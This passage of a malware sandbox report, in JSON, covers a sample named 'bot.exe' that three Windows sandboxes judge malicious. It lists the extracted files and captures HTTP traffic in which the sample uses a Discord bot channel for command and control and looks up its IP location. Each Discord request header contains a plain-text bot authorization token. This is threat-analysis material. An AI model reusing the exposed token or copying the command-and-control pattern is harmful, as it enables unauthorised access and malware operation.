fa045b84b81efefc218a19eb44bd2b"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:08dfdc46c68fa089a3580a1949f6661705d3755203b1db51226940ebe1a96f78"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:10dd1cf2754a59bdc8d64b68eab120f9027d9d3de87b29ad0f910c6308dbcf45"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:48edf494ba2e30b7ae14075df066dc6adbd713420c363e3dd2a52f02e2cd10a0"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:a4c2229bdc2a2a630acdc095b4d86008e5c3e3bc7773174354f3da4f5beb9cde"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:7bb0a7df2d5cb829319dd8d122039843e2a762361bb5a61bb5d24ca34f4040b5"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:b1848b5a0e08f0a39d7aab9488e971cb80f573c0acf1205abfa7496e9b611ad6"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:2fe8245835b29b96f292f8d4d4237659cbd1958de46077b2a18f2be5cca2d301"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9ca27b1a45178437d9b57e0d3024ed535226f5150ff16fd2363d90171856f0d8"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:0a52c832b08413721f0bb09b7bdd496ef7b10e5e22a27e64a756f7daa184b425"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9ff9f63ad79f161722106e029b4c3afc6494848fd73f9bcc2ed5434a15c71bde"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:88ace577a9c51061cb7d1a36babbbefa48212fadc838ffde98fdfff60de18386"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:1bd81dfd19204b44662510d9054852fb77c9f25c1088d647881c9b976cc16818"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:591358eb4d1531e9563ee0813e4301c552ce364c912ce684d16576eabf195dc3"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:d56ce7b1cd76108ad6c137326ec694a14c99d48c3d7b0ace8c3ff4d9bcee3ce8"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:91d249d7bc0e38ef6bcb17158b1fdc6dd8888dc086615c9b8b750b87e52a5fb3"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:fc9d86cec621383eab636ebc87ddd3f5c19a3cb2a33d97be112c051d0b275429"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:1ca895aba4e7435563a6b43e85eba67a0f8c74aa6a6a94d0fc48fa35535e2585"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:4cadbc0c39da7c6722206fdcebd670abe5b8d261e7b041dd94f9397a89d1990d"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:93c624b366ba16c643fc8933070a26f03b073ad0cf7f80173266d67536c61989"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:39095f59c41d76ec81bb2723d646fde4c148e7cc3402f4980d2ade95cb9c84f9"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:8f105771b236dbcb859de271f0a6822ce1cb79c36988dd42c9e3f6f55c5f7eb9"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:53b25e753ca785bf8b695d89dde5818a318890211dc992a89146f16658f0b606"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:a9b13a1cd1b8c19b0c6b4afcd5bb0dd29c0e2288231ac9e6db8510094ce68ba6"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:7f39ba298b41e4963047341288cab36b6a241835ee11ba4ad70f44dacd40906c"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:6ee44dd0d8510dc024c9f7c79b1b9fa88c987b26b6beb6653ddd11751c34e5dc"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:0512a35316ec9180437f86696a84c5c06a7e4e82e050055a656e5bf9fca206f9"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:c05f1fffe3b5a2738ea54ce9485cca026fb9635f982626fba1e1dcc531897273"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:c4eca98c3c67b6395d5b005b00ac1eb0318b86b23aa71035a44c2b1602befba9"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:5ccb89e93d67bc3288d4e84649c5346e66e15e3d7cd65d989daf3f4cb584be9a"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:4ad565a8ba3ef0ea8ab87221ad11f83ee0bc844ce236607958406663b407333e"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:7809160932f44e59b021699f5bc68799eb7293ee1fa926d6fcca3c3445302e61"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9dc1e91e71c7c054854bd1487cb4e6946d82c9f463430f1c4e8d1471005172b1"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:60fc31d2a0c634412f529dba76af3b9bf991352877c6dae528186d3935704cfd"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:3a72b4f29f39a265d32ad12f0ce15dbf60129c840e10d84d427829ede45e78ad"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:efc1e4460984a73cf47a3def033af1c8f3b1dbc1a56cd27781d3aacf3e3330cb"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:b203d862ddef1dd62bf623fc866c7f7a9c317c1c2ae30d1f52cb41f955b5698e"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:2703635d835396afd0f138d7c73751afe7e33a24f4225d08c1690b0a371932c0"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:33f4fddc181066fce06b2227bded813f95e94ed1f3d785e982c6b6b56c510c57"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:6eda016742a6171205a387a14b3c0b331841567740376f56768f8c151724207d"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:b762061b688aae679afe788904d2c9970f74a7dac98f3b42463d08f25e483d3f"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:ebb2ae5535a64f65daeab8235585114fc9dd2cf1a49f5852d446250b998b6ae4"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:17d63275d00bdd8670422b95bd264c532998e0a1b041079e54fce4b6b7a55819"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9a9e2a65a281644e368d0f272b95ba5f6b445d1c35910d06056c5ebeb77402db"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:bab9ac3ec83e380ae51e4295ef3bf2c738627812d3a49d1e713661abbc8dc57a"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:bd14c67ea28e21d6257ad780a37122c9b5773f69e693f5db6bffaee4d839526e"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:f6156b1020380ec4f0e48577ebedaaef5fb1ab1f337d8b4e72e6a33a7567a9cc"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:c5902934d026d7e15fbe9917d474f3322846a41a25e66f4b2b1f758801879f4b"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:7c7f6393f06de11750adb09cc5698ae55cd9fb27b2e51e207286feb1b5b2b156"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:d8ba5f17b9ffcbf3aeaf3fa1da226832d2fa90f81acce0cd669464e76ce434ac"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:358c2378268f96e283c590e45a4c8864df0f5400814f1b84e555336a15484ee3"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:b4e95439db8008cdede934b11ae8984b48ebf658140cb243d48fe5751dd7b96e"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:c833cfdab82da58163acdada02cdb2b92d42bc543e1b5519dbcbe4d3805a98fc"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9590a3f4b7c0801cd379341d40bb89b5dc9a4e232c9498b6f3bc6b5e99d4ae7f"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9e99b2184c60f21a88cafc374386ded3559e8694ed7cf111f2869e066d303334"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:adf71d85781a2fe937fcc44c0961498e2cf30849f9863ff7b5f7510817cea952"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9605f332fb52636d77a3125abc7e42ba22b3838dcf136d81f37fe5875cbd62d6"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:77707cb19dc91eb634d70f31b21022ee4c6ea5ce834c6952bc56ba00c6fd644d"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:9052a85ac9947afbbdfdd62b0cad7501b668e6107832cefaa4b76377d710dae0"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:7606f4044ffc923eac208f5bc5acb1dea14fe8edf2efe08a63e11177f4c7a016"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:8f35ff35e76a2308ce0a50200fb01b55569f30952098239f7e000f3da1393a61"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:51a3d8e40b061db4fc77f9a3b18e6c2f912c4edf467e46c95ac325d35f2be4df"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:11f2ace2a37e59bf0f2fcfcc2523307408fa2e7f0aec561bc7531a8db130a83c"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:b3cb053566b6f38c38bdf4822e53f8f8a2a377e05c503fdd69c52e5d1c6c104c"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:e62808f40462f8066c8d19811cebd15467de6992b1cb48be5f5903910f5395f7"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:99c296ca2b4372418edbdcbd923ab0df2cdbcf406782694d7376f2b01e5010c9"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":10,"spawned_processes_count":10,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":58,"imported_dlls_count":106,"dropped_files_count":0,"extracted_files_count":80,"files_written_count":485,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":4,"contacted_urls_count":21,"http_requests_count":21},"behavior_tags":["evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6aede6c2ed9afb596f058d23","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":85,"submit_name":"bot.exe","analysis_start_time":"2026-11-06T14:40:09+00:00","indicators_count":{"informative":175,"suspicious":33,"malicious":2},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"6aede65299b868ea5a0c766f","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"bot.exe","analysis_start_time":"2026-11-06T14:38:18+00:00","indicators_count":{"informative":217,"suspicious":60,"malicious":5},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6aede49d7bd8e16d02066b6c","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"bot.exe","analysis_start_time":"2026-11-06T14:31:06+00:00","indicators_count":{"informative":218,"suspicious":55,"malicious":3},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"162.159.137.232","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"address":"99.84.160.115","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"address":"162.159.128.233","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"address":"34.117.59.81","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}],"dns_resolutions":[{"domain":"discord.com","address":"162.159.137.232","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"domain":"ip-api.com","address":"208.95.112.1","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"domain":"sb.scorecardresearch.com","address":"99.84.160.115","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"domain":"ipinfo.io","address":"34.117.59.81","ttl":218,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}],"http_requests":[{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/users/@me","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/users/@me HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?limit=1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?limit=1 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query HTTP/1.1\nHost: ip-api.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v10/channels/1567592947002908814/messages HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI\nContent-Length: 515\nContent-Type: application/x-www-form-urlencoded","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"discord.com","host_ip":"162.159.137.232:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"host":"ipinfo.io","host_ip":"34.117.59.81:443","url":"/json","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json HTTP/1.1\nHost: ipinfo.io\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: 